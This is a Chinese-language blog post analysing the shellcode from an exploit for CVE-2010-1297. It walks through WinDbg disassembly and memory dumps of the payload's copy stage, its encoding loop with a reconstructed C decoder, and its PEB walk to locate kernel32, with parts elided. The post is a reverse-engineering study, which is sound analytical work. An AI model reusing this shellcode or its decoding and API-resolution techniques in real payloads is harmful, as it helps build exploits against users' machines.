CVE-2010-1297漏洞shellcode简析
Author: ReverseMan
Blog: http:/hi.baidu.com/reverseman
前段时间,帮一朋友分析这个漏洞,主要是使用Windbg找到漏洞触发的原理以及找到shellcode的起始位置。现在由于某些原因,这些工作都没有意义了。虽然之前所做的工作都没有意义了,但是我还是花费了好些时间来分析这个漏洞的,所以现在简单将分析的过程写出来,一是方便自己学习总结,二是为和大家共享交流,互相学习进步而已。
此次分析仅仅是从找到shellcode的起始位置开始,来分析shellcode中的编写技巧以及编写方法的。至于这个漏洞的原理以及如何在windbg中定位的shellcode的在本文的最后会做一个简要的描述,不做详述了。
分析这个shellcode的原因就是在于这个shellcode是一个非常典型的shellcode。里面包括了shellcode中的各种编写技术,非常值得学习。我也是一边分析、一边学习的,下面就是我分析过程,仅为学习,勿做他途。
这段shellcode我分成了三个阶段,第一个阶段就是利用的ROP来绕过DEP,然后执行后续的拷贝等工作的。在文末后再做解释,此处从第二个阶段开始。
一、shellcode分析
1、 第一个阶段:见第二部分总结
2、第二个阶段:
当程序运行到第二阶段shellcode开始的地方的时候,shellcode所在的内存区已经被写入了一些但不是全部的代码,首先使用如下命令来查看下shellcode所在内存区域的内存属性:
0:000> !address eip
033e0000 : 033e0000 - 00001000
Type 00020000 MEM_PRIVATE
Protect 00000040 PAGE_EXECUTE_READWRITE
State 00001000 MEM_COMMIT
Usage RegionUsageIsVAD
033e0000 5a pop edx
033e0001 90 nop
033e0002 54 push esp
033e0003 90 nop
033e0004 5a pop edx ----->此处执行完,见Stack_Index1:edx=0c0c0d94
033e0005 eb15 jmp <Unloaded_POOL.DRV>+0x334001b (033e001c)
033e0007 58 pop eax //此处重定位
033e0008 8b1a mov ebx,dword ptr [edx]
033e000a 8918 mov dword ptr [eax],ebx //此处进行数据的拷贝
033e000c 83c004 add eax,4
033e000f 83c204 add edx,4
033e0012 81fb0c0c0c0c cmp ebx,offset <Unloaded_POOL.DRV>+0xc0c0c0b (0c0c0c0c)
033e0018 75ee jne <Unloaded_POOL.DRV>+0x3340007 (033e0008)
033e001a eb05 jmp <Unloaded_POOL.DRV>+0x3340020 (033e0021)
033e001c e8e6ffffff call <Unloaded_POOL.DRV>+0x3340006 (033e0007)
0c0c0d94 484023eb //shellcode 起始地方
0c0c0d98 5b575f43
0c0c0d9c 3c038b66 <Unloaded_POOL.DRV>+0x3c038b65
0c0c0da0 2c1b7430 <Unloaded_POOL.DRV>+0x2c1b742f
0c0c0da4 04e0c063 <Unloaded_POOL.DRV>+0x4e0c062
0c0c0da8 8043ec80
0c0c0dac c4020fe4
0c0c0db0 0788ea34 <Unloaded_POOL.DRV>+0x788ea33
0c0c0db4 eb474343
0c0c0db8 ffd8e8e3
0c0c0dbc 4e49ffff
0c0c0dc0 4d414943
0c0c0dc4 4d414541
0c0c0dc8 4d4b4d41
0c0c0dcc 4d414543
0c0c0dd0 4d414d41
0c0c0dd4 444e4d41 <Unloaded_POOL.DRV>+0x444e4d40
0c0c0dd8 44434e49 <Unloaded_POOL.DRV>+0x44434e48
……
……
0c0c11c8 4d414d4d
0c0c11cc 50414649
0c0c11d0 4e414443
0c0c11d4 4e4b474e
0c0c11d8 30304c45 <Unloaded_POOL.DRV>+0x30304c44
0c0c11dc 0c0c0c0c <Unloaded_POOL.DRV>+0xc0c0c0b //shellcode在此处结束
0c0c11e0 0c0c0c0c <Unloaded_POOL.DRV>+0xc0c0c0b
0c0c11e4 0c0c0c0c <Unloaded_POOL.DRV>+0xc0c0c0b
0c0c11e8 0c0c0c0c <Unloaded_POOL.DRV>+0xc0c0c0b
033e001a eb05 jmp <Unloaded_POOL.DRV>+0x3340020 (033e0021)
033e001c e8e6ffffff call <Unloaded_POOL.DRV>+0x3340006 (033e0007)
033e0021 eb23 jmp <Unloaded_POOL.DRV>+0x3340045 (033e0046)
033e0023 40 inc eax
033e0024 48 dec eax
033e0025 43 inc ebx
033e0026 5f pop edi
033e0027 57 push edi
033e0028 5b pop ebx //ebx=0x033e004b
033e0029 668b03 mov ax,word ptr [ebx]
033e002c 3c30 cmp al,30h
033e002e 741b je <Unloaded_POOL.DRV>+0x334004a (033e004b)
033e0030 2c63 sub al,63h
033e0032 c0e004 shl al,4
033e0035 80ec43 sub ah,43h
033e0038 80e40f and ah,0Fh
033e003b 02c4 add al,ah
033e003d 34ea xor al,0EAh
033e003f 8807 mov byte ptr [edi],al
033e0041 43 inc ebx
033e0042 43 inc ebx
033e0043 47 inc edi
033e0044 ebe3 jmp <Unloaded_POOL.DRV>+0x3340028 (033e0029)
033e0046 e8d8ffffff call <Unloaded_POOL.DRV>+0x3340022 (033e0023)
033e004b 49 dec ecx //从此处以下均为加密的shellcode
033e004c 4e dec esi
033e004d 43 inc ebx
033e004e 49 dec ecx
033e004f 41 inc ecx
……
……//此处后面还有,限于篇幅,未全部列出
void decode(char *shellcode)
{
……
WORD wTemp;
unsigned char *pMov,pCode=(unsigned char *)shellcode;
pMov=pCode;
While(*pCode!=0x30)
{
wTemp=(WORD*)pCode;
*pCode=(((wTemp&0x00FF)-0x63)<<4+(wTemp>>4)-0x43)^0xEA;
pCode++;
pMov+=2;
}
……
}
Code_index3:
033e004b 81ec00080000 sub esp,offset <Unloaded_POOL.DRV>+0x7ff (00000800)
033e0051 60 pushad
033e0052 e800000000 call <Unloaded_POOL.DRV>+0x3340056 (033e0057)
033e0057 5b pop ebx //此处为明显的重定位
033e0058 81ebac104000 sub ebx,offset AcroRd32Exe+0x10ac (004010ac)
033e005e eb30 jmp <Unloaded_POOL.DRV>+0x334008f (033e0090)
//跳转到0x033e0090处
033e0060 16 push ss
033e0061 65fa cli
033e0063 10ec adc ah,ch
033e0065 97 xchg eax,edi
033e0066 030cac add ecx,dword ptr [esp+ebp*4]
033e0069 08da or dl,bl
033e006b 76ad jbe <Unloaded_POOL.DRV>+0x3340019 (033e001a)
033e006d 9b wait
……
……
033e0090 64a130000000 mov eax,dword ptr fs:[<Unloaded_POOL.DRV>+0x2f (00000030)] fs:003b:00000030=7ffdf000 //使用fs:30来定位Kernel32.dll基址
033e0096 8b400c mov eax,dword ptr [eax+0Ch]
033e0099 8b701c mov esi,dword ptr [eax+1Ch]
033e009c ad lods dword ptr [esi]
033e009d 8b4008 mov eax,dword ptr [eax+8]
033e00a0 8983cd104000 mov dword ptr AcroRd32Exe+0x10cd (004010cd)[ebx],eax //此时eax中存放的就是Kernel32的基址 ,详见Data_Index1
033e00a6 fc cld
033e00a7 8dbbb5104000 lea edi,AcroRd32Exe+0x10b5 (004010b5)[ebx]
033e00ad 33c9 xor ecx,ecx
033e00af b106 mov cl,6
033e00b1 e827010000 call <Unloaded_POOL.DRV>+0x33401dc (033e01dd)
0:000> !lmi Kernel32.dll
Loaded Module Info: [kernel32.dll]
Module: kernel32
Base Address: 7c800000
Image Name: C:\WINDOWS\system32\kernel32.dll
Machine Type: 332 (I386)
Time Stamp: 4802bdc6 Mon Apr 14 10:13:26 2008
Size: 11e000
CheckSum: 122a2b
Characteristics: 210e perf
Debug Data Dirs: Type Size VA Pointer
CODEVIEW 25, 840a4, 834a4 RSDS - GUID: {34560E80-F5C5-4175-B208-848EF863C5BD}
Age: 2, Pdb: kernel32.pdb
CLSID 4, 840a0, 834a0 [Data not mapped]
Image Type: FILE - Image read successfully from debugger.
C:\WINDOWS\system32\kernel32.dll
Symbol Type: PDB - Symbols loaded successfully from symbol search path.
y:\kernel32.pdb
Load Report: public symbols , not source indexed
y:\kernel32.pdb
0:000> r
eax=7c800000 ebx=02f3efab ecx=90ffffff edx=0c0c11e0 esi=00251f5c edi=033e0259
eip=033e00a0 esp=0c0c0574 ebp=00010124 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00240212
<Unloaded_POOL.DRV>+0x334009f:
033e00a0 8983cd104000 mov dword ptr AcroRd32Exe+0x10cd (004010cd)[ebx],eax ds:0023:033e0078={kernel32!_imp___wcsnicmp <PERF> (kernel32+0x0) (7c800000)}
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)